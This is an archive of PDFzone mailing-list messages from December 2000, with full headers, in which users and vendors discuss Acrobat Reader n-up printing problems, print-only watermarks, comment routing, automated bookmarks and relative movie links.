14:29:32 -0600 Received: from fxodpr10.is.chrysler.com (firewall-user@fxodpr10.extra.daimlerchrysler.com [204.189.94.74]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA26809 for ; Thu, 14 Dec 2000 14:29:31 -0600 From: lp5@daimlerchrysler.com Received: (from uucp@localhost) by fxodpr10.is.chrysler.com (8.9.0/8.9.0) id PAA14322 for ; Thu, 14 Dec 2000 15:27:08 -0500 (EST) Received: from nodnsquery(129.9.202.19) by fwodpr10.is.chrysler.com via smap (V5.5) id xma014174; Thu, 14 Dec 00 15:26:42 -0500 Received: from lnaclm04-nf0.notes.chrysler.com (lnaclm04-nf0.notes.chrysler.com [129.9.208.38]) by odmrspr1-pf0.oddc.chrysler.com (8.10.1/8.9.0/daimlerchrysler-relay-1.0-kcd) with ESMTP id eBEKT3U21238 for ; Thu, 14 Dec 2000 15:29:03 -0500 (EST) Subject: [PDF] PostScript driver prints multiple pgs/sheet incorrectly To: pdf@lists.pdfzone.com X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: Date: Thu, 14 Dec 2000 15:27:22 -0500 X-MIMETrack: Serialize by Router on sclmdg01.wk.dcx.com/Server/Prod/DCX(Release 5.0.5 |September 22, 2000) at 12/14/2000 03:29:03 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ With Acrobat Reader 4.05c, we are unable to correctly print multiple pages/page (e.g. n-up) with the Hewlett Packard 4000 or 8000 printer series PostScript print drivers (Reader prints ok using PCL drivers). The 'logical' pages overlay each other, making the page unreadable. Our platform is Windows 2000. We are able to print n-up pages from other applications such as Word. Is this a known bug? Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 14-Dec-2000 22:37:17-GMT,2633;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id PAA28576 for ; Thu, 14 Dec 2000 15:37:16 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA00229; Thu, 14 Dec 2000 16:18:14 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 14 Dec 2000 16:12:27 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA32687; Thu, 14 Dec 2000 16:12:25 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA32679 for ; Thu, 14 Dec 2000 16:12:21 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id WAA12652 for ; Thu, 14 Dec 2000 22:12:20 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] PostScript driver prints multiple pgs/sheet incorrectly Date: Thu, 14 Dec 2000 22:12:21 -0000 Message-ID: <003401c0661a$eeaa60a0$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > With Acrobat Reader 4.05c, we are unable to correctly print multiple > pages/page (e.g. n-up) with the Hewlett Packard 4000 or 8000 > printer series > PostScript print drivers (Reader prints ok using PCL drivers). The > 'logical' pages overlay each other, making the page unreadable. Our > platform is Windows 2000. We are able to print n-up pages from other > applications such as Word. Is this a known bug? This isn't really a bug so much as a limitation; n-up features in printer drivers just can't work in every case. Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 14-Dec-2000 23:32:23-GMT,3457;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id QAA29960 for ; Thu, 14 Dec 2000 16:32:22 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id RAA03295; Thu, 14 Dec 2000 17:22:16 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 14 Dec 2000 17:16:45 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id RAA03056; Thu, 14 Dec 2000 17:16:44 -0600 Received: from smtp-relay-2.Adobe.COM (smtp-relay-2.adobe.com [192.150.11.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id RAA03052 for ; Thu, 14 Dec 2000 17:16:43 -0600 Received: from inner-relay-2.Adobe.COM (inner-relay-2.corp.adobe.com [153.32.1.52]) by smtp-relay-2.Adobe.COM (8.8.6) with ESMTP id PAA09025 for ; Thu, 14 Dec 2000 15:20:06 -0800 (PST) Received: from mailsj-v1.corp.adobe.com by inner-relay-2.Adobe.COM (8.8.5) with ESMTP id PAA05334; Thu, 14 Dec 2000 15:16:25 -0800 (PST) Received: from isaacs-base.adobe.com ([153.32.39.110]) by mailsj-v1.corp.adobe.com (Netscape Messaging Server 4.15) with ESMTP id G5KZBH00.M28 for ; Thu, 14 Dec 2000 15:16:29 -0800 X-Organization: Adobe Systems Incorporated X-URL: X-Location: Office (ISAACS-BASE) Message-Id: <5.0.2.1.2.20001214151503.026d1680@mailsj.corp.adobe.com> X-Sender: isaacs@mailsj.corp.adobe.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 14 Dec 2000 15:16:30 -0800 To: pdf@lists.pdfzone.com From: ""Dov Isaacs"" Subject: RE: [PDF] PostScript driver prints multiple pgs/sheet incorrectly In-Reply-To: <003401c0661a$eeaa60a0$510b83c1@gateway.quite.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 12/14/2000 02:12 PM, Aandi Inston wrote: >> With Acrobat Reader 4.05c, we are unable to correctly print multiple >> pages/page (e.g. n-up) with the Hewlett Packard 4000 or 8000 >> printer series >> PostScript print drivers (Reader prints ok using PCL drivers). The >> 'logical' pages overlay each other, making the page unreadable. Our >> platform is Windows 2000. We are able to print n-up pages from other >> applications such as Word. Is this a known bug? > >This isn't really a bug so much as a limitation; n-up features >in printer drivers just can't work in every case. > >Aandi In general, PDF files print n-up correctly using the PostScript driver provided with Windows 2000. If you are using a separate driver provided by Hewlett-Packard, that may be the cause of the problem and/or the ""emulated"" PostScript Level 2 of those printers, or both. - Dov Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 15-Dec-2000 17:25:55-GMT,2272;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id KAA22905 for ; Fri, 15 Dec 2000 10:25:54 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA16173; Fri, 15 Dec 2000 11:13:06 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 15 Dec 2000 11:04:32 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id LAA15429; Fri, 15 Dec 2000 11:04:29 -0600 Received: from pootus.iglobal.net (pootus.iglobal.net [209.164.200.50]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id KAA14679 for ; Fri, 15 Dec 2000 10:54:00 -0600 Received: (qmail 13320 invoked from network); 15 Dec 2000 18:15:12 -0000 Received: from unknown (HELO ?192.168.1.53?) (209.164.209.210) by mail.avreafoster.com with SMTP; 15 Dec 2000 18:15:12 -0000 User-Agent: Microsoft Outlook Express Macintosh Edition - 5.01 (1630) Date: Fri, 15 Dec 2000 10:46:11 -0600 Subject: [PDF] Questions From: Joan Wagner To: pdf info , pdf@lists.pdfzone.com Message-ID: Mime-version: 1.0 Content-type: text/plain; charset=""US-ASCII"" Content-transfer-encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Two questions I would appreciate help with: Is it possible to add a watermark to a pdf file so that when a client prints it the watermark appears on the printed copy only? I want to route a pdf file to 3 or 4 people and have each person add comments to the file and then pass it along. What is the best way to do this? Thanks Joan Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 15-Dec-2000 17:25:55-GMT,2272;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id KAA22904 for ; Fri, 15 Dec 2000 10:25:54 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id LAA16165; Fri, 15 Dec 2000 11:12:57 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 15 Dec 2000 11:04:31 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id LAA15417; Fri, 15 Dec 2000 11:04:28 -0600 Received: from pootus.iglobal.net (pootus.iglobal.net [209.164.200.50]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id KAA14678 for ; Fri, 15 Dec 2000 10:54:00 -0600 Received: (qmail 13320 invoked from network); 15 Dec 2000 18:15:12 -0000 Received: from unknown (HELO ?192.168.1.53?) (209.164.209.210) by mail.avreafoster.com with SMTP; 15 Dec 2000 18:15:12 -0000 User-Agent: Microsoft Outlook Express Macintosh Edition - 5.01 (1630) Date: Fri, 15 Dec 2000 10:46:11 -0600 Subject: [PDF] Questions From: Joan Wagner To: pdf info , pdf@lists.pdfzone.com Message-ID: Mime-version: 1.0 Content-type: text/plain; charset=""US-ASCII"" Content-transfer-encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Two questions I would appreciate help with: Is it possible to add a watermark to a pdf file so that when a client prints it the watermark appears on the printed copy only? I want to route a pdf file to 3 or 4 people and have each person add comments to the file and then pass it along. What is the best way to do this? Thanks Joan Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 15-Dec-2000 18:57:10-GMT,2736;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id LAA25789 for ; Fri, 15 Dec 2000 11:57:09 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA22538; Fri, 15 Dec 2000 12:48:45 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Fri, 15 Dec 2000 12:42:32 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id MAA22225; Fri, 15 Dec 2000 12:42:31 -0600 Received: from smtp.digapp.com ([38.164.135.2]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id MAA22221 for ; Fri, 15 Dec 2000 12:42:29 -0600 Received: from [207.29.200.50] by smtp.digapp.com (AppleShare IP Mail Server 6.3) id 65639 via TCP with SMTP; Fri, 15 Dec 2000 13:43:37 -0500 Mime-Version: 1.0 X-Sender: leonardr@smtp.digapp.com Message-Id: In-Reply-To: References: Date: Fri, 15 Dec 2000 13:37:23 -0500 To: pdf@lists.pdfzone.com From: Leonard Rosenthol Subject: Re: [PDF] Questions Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 10:46 AM -0600 12/15/00, Joan Wagner wrote: >Is it possible to add a watermark to a pdf file so that when a client prints >it the watermark appears on the printed copy only? There are some 3rd party plug-ins that provide this functionality, I believe. Check PDFZone or PlanetPDF's database. >I want to route a pdf file to 3 or 4 people and have each person add >comments to the file and then pass it along. What is the best way to do >this? > Just get everyone a copy of the full Adobe Acrobat and you're all set! Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice) Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 19-Dec-2000 0:06:44-GMT,2763;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id RAA29120 for ; Mon, 18 Dec 2000 17:06:43 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id SAA00926; Mon, 18 Dec 2000 18:05:42 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Mon, 18 Dec 2000 17:56:12 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id RAA00371; Mon, 18 Dec 2000 17:56:10 -0600 Received: from iglou.com (sendmail@iglou2.iglou.com [192.107.41.8]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id RAA00367 for ; Mon, 18 Dec 2000 17:56:09 -0600 Received: from [216.196.136.144] (helo=thinkpad) by iglou.com with smtp (8.9.3/8.9.3) id 148A8T-0002oG-00; Mon, 18 Dec 2000 18:56:05 -0500 Message-Id: <3.0.5.32.20001218190122.009d4370@pop.iglou.com> X-Sender: rdp@pop.iglou.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Mon, 18 Dec 2000 19:01:22 -0500 To: pdf@lists.pdfzone.com From: Steve Rindsberg Subject: RE: [PDF] PostScript driver prints multiple pgs/sheet incorrectly In-Reply-To: <5.0.2.1.2.20001214151503.026d1680@mailsj.corp.adobe.com> References: <003401c0661a$eeaa60a0$510b83c1@gateway.quite.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ >In general, PDF files print n-up correctly using the PostScript driver >provided with Windows 2000. If you are using a separate driver provided >by Hewlett-Packard, that may be the cause of the problem and/or the >""emulated"" PostScript Level 2 of those printers, or both. FWIW, earlier versions of Reader + MSPS driver never seemed able to do n-up printing correctly, at least under Win95/98 (this to an HP 4Vm, real Adobe PS). Switch in the Adobe PS driver and it worked w/o a hitch. Steve Rindsberg President, RDP - a slide imaging service bureau http://www.rdpslides.com Developers of ZAP! Customizable online ordering software for service bureaus http://www.rdpslides.com/zap/ Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 19-Dec-2000 11:04:06-GMT,3119;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id EAA13887 for ; Tue, 19 Dec 2000 04:04:05 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id FAA25138; Tue, 19 Dec 2000 05:02:59 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 19 Dec 2000 04:54:16 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id EAA24653; Tue, 19 Dec 2000 04:54:15 -0600 Received: from tele-post-20.mail.demon.net (tele-post-20.mail.demon.net [194.217.242.20]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id EAA24649 for ; Tue, 19 Dec 2000 04:54:13 -0600 Received: from merlin-os.demon.co.uk ([194.222.123.109]) by tele-post-20.mail.demon.net with smtp (Exim 2.12 #2) id 148KPM-0007QB-0K for pdf@lists.pdfzone.com; Tue, 19 Dec 2000 10:54:12 +0000 Message-ID: Date: Tue, 19 Dec 2000 10:53:32 +0000 To: pdf@lists.pdfzone.com From: David R Evans Subject: Re: [PDF] Questions References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike (32) Version 4.01 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ In message , Joan Wagner wrote: >Is it possible to add a watermark to a pdf file so that when a client prints >it the watermark appears on the printed copy only? You can do this using our Date Stamp plug-in for Acrobat. See our web site for an evaluation version and further details. >I want to route a pdf file to 3 or 4 people and have each person add >comments to the file and then pass it along. What is the best way to do >this? You could use the text notes facility in Acrobat, with different colours, perhaps, for different people. You can then summarise the notes when finished into a separate file. Regards David Evans --------------------------------------------------------------------------- Dr David R Evans Telephone: (+44) 115 9524333 / 9514230 Merlin Open Systems Facsimile: (+44) 115 9472625 P O Box 230 E-mail: dre@merlin-os.co.uk NOTTINGHAM WWW: http://www.merlin-os.co.uk/ NG2 1LJ, UK Acrobat resellers, specialists in Adobe Acrobat plug-ins and electronic publishing software Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 19-Dec-2000 11:49:48-GMT,2308;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id EAA14881 for ; Tue, 19 Dec 2000 04:49:47 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id FAA27131; Tue, 19 Dec 2000 05:48:48 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 19 Dec 2000 05:43:16 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id FAA26864; Tue, 19 Dec 2000 05:43:15 -0600 Received: from mbakercorp.com (fireout.mbakercorp.com [216.3.251.135]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id FAA26860 for ; Tue, 19 Dec 2000 05:43:14 -0600 Received: from gatedom-Message_Server by mbakercorp.com with Novell_GroupWise; Tue, 19 Dec 2000 06:40:20 -0500 Message-Id: X-Mailer: Novell GroupWise Internet Agent 5.5.2.1 Date: Tue, 19 Dec 2000 06:40:17 -0500 From: ""Kevin Murphy"" To: Subject: [PDF] PDF Question Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by everglades.binc.net id FAA26861 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I am trying to create bookmarks in an automated way. I have a text file that contains the text for the bookmark One peer line. Is there a way to import the text and have Acrobat create the bookmarks for me ?? thanks Kevin Kevin J Murphy, PE,LS Michael Baker Jr Inc 307 College Road East Princeton, NJ, 08540 phone...609-734-7927 pager....732-836-5601 fax........609-734-7950 email: kmurphy@mbakercorp.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 19-Dec-2000 12:07:16-GMT,2974;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id FAA15233 for ; Tue, 19 Dec 2000 05:07:15 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id GAA28088; Tue, 19 Dec 2000 06:05:28 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 19 Dec 2000 05:59:19 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id FAA27747; Tue, 19 Dec 2000 05:59:18 -0600 Received: from dmmail.docmaestro.com (mail.docmaestro.com [4.21.213.227]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id FAA27743 for ; Tue, 19 Dec 2000 05:59:17 -0600 Message-ID: From: Jose Mera To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] PDF Question Date: Tue, 19 Dec 2000 07:02:25 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Kevin, InfoLinker, as Acrobat plug-in, can do this if your PDFs are Normal or Image + Hidden Text and there's a relationship between the text you have in the text file and the text you are trying to bookmark in the PDF (the destination). Jose Mera VP DocMaestro Products Div. ISPA, Inc. 1700 McMullen Booth Rd., Suite C-3 Clearwater, Fl 33759 Phone: 727-669-8911 x222 Fax: 727-669-6410 http://www.DocMaestro.com -----Original Message----- From: Kevin Murphy [mailto:KMURPHY@mbakercorp.com] Sent: Tuesday, December 19, 2000 6:40 AM To: pdf@lists.pdfzone.com Subject: [PDF] PDF Question The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ I am trying to create bookmarks in an automated way. I have a text file that contains the text for the bookmark One peer line. Is there a way to import the text and have Acrobat create the bookmarks for me ?? thanks Kevin Kevin J Murphy, PE,LS Michael Baker Jr Inc 307 College Road East Princeton, NJ, 08540 phone...609-734-7927 pager....732-836-5601 fax........609-734-7950 email: kmurphy@mbakercorp.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 19-Dec-2000 12:24:53-GMT,2437;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id FAA15572 for ; Tue, 19 Dec 2000 05:24:52 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id GAA29100; Tue, 19 Dec 2000 06:23:18 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 19 Dec 2000 06:17:38 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id GAA28865; Tue, 19 Dec 2000 06:17:37 -0600 Received: from relay.UK.COLT.NET (relay.UK.COLT.NET [195.110.64.110]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id GAA28861 for ; Tue, 19 Dec 2000 06:17:36 -0600 Received: (qmail 18672 invoked from network); 19 Dec 2000 12:17:35 -0000 Received: from unknown (HELO compictserver.completepicture.co.uk) (213.86.13.126) by relay.uk.colt.net with SMTP; 19 Dec 2000 12:17:35 -0000 Received: by COMPICTSERVER with Internet Mail Service (5.5.2650.21) id ; Tue, 19 Dec 2000 12:27:54 -0000 Message-ID: <419F5AE598D2D311B46E00C0F031948308CE33@COMPICTSERVER> From: Paul To: ""'Acrobat Talk'"" , ""'pdf zone'"" Subject: [PDF] Relative Links to Mpegs Date: Tue, 19 Dec 2000 12:27:50 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hello All, Has anybody got a tip for creating relative links to quicktime moves. We want to send a batch out on CD but the links, using the movie tool, keep coming in absolute and therefore no good for distibution. TIA Paul Dennis Complete Picture UK Ltd 101 Coppergate House 16 Brune St London E1 7NJ Tel 020 7721 7766 Fax 020 7721 7984 http://www.completepicture.co.uk Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 19-Dec-2000 12:52:10-GMT,3202;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id FAA16127 for ; Tue, 19 Dec 2000 05:52:09 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id GAA30762; Tue, 19 Dec 2000 06:50:35 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 19 Dec 2000 06:44:57 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id GAA30285; Tue, 19 Dec 2000 06:44:56 -0600 Received: from dmmail.docmaestro.com (mail.docmaestro.com [4.21.213.227]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id GAA30281 for ; Tue, 19 Dec 2000 06:44:55 -0600 Message-ID: From: Jose Mera To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] Relative Links to Mpegs Date: Tue, 19 Dec 2000 07:48:04 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ If you are creating a link from a PDF to anything, make sure that you open the PDF with Acrobat (File > Open). That let's Acrobat know what directory you are in and hence allows for relative paths. If you launch the PDF from Windows Explorer, than Acrobat thinks the PDF is in the default Acrobat directory and all pathing gets confused. If there's a relationship of how the movie is referenced in the PDF and the actual file name, our InfoLinker plug-in can automate this process. Jose Mera VP DocMaestro Products Div. ISPA, Inc. 1700 McMullen Booth Rd., Suite C-3 Clearwater, Fl 33759 Phone: 727-669-8911 x222 Fax: 727-669-6410 http://www.DocMaestro.com -----Original Message----- From: Paul [mailto:Paul@CompletePicture.co.uk] Sent: Tuesday, December 19, 2000 7:28 AM To: 'Acrobat Talk'; 'pdf zone' Subject: [PDF] Relative Links to Mpegs The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hello All, Has anybody got a tip for creating relative links to quicktime moves. We want to send a batch out on CD but the links, using the movie tool, keep coming in absolute and therefore no good for distibution. TIA Paul Dennis Complete Picture UK Ltd 101 Coppergate House 16 Brune St London E1 7NJ Tel 020 7721 7766 Fax 020 7721 7984 http://www.completepicture.co.uk Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 19-Dec-2000 12:53:57-GMT,2343;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id FAA16166 for ; Tue, 19 Dec 2000 05:53:56 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id GAA30904; Tue, 19 Dec 2000 06:52:24 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 19 Dec 2000 06:46:59 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id GAA30483; Tue, 19 Dec 2000 06:46:58 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id GAA30479 for ; Tue, 19 Dec 2000 06:46:56 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id MAA05936 for ; Tue, 19 Dec 2000 12:47:12 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] Relative Links to Mpegs Date: Tue, 19 Dec 2000 12:46:53 -0000 Message-ID: <002a01c069b9$c40c98c0$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <419F5AE598D2D311B46E00C0F031948308CE33@COMPICTSERVER> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | 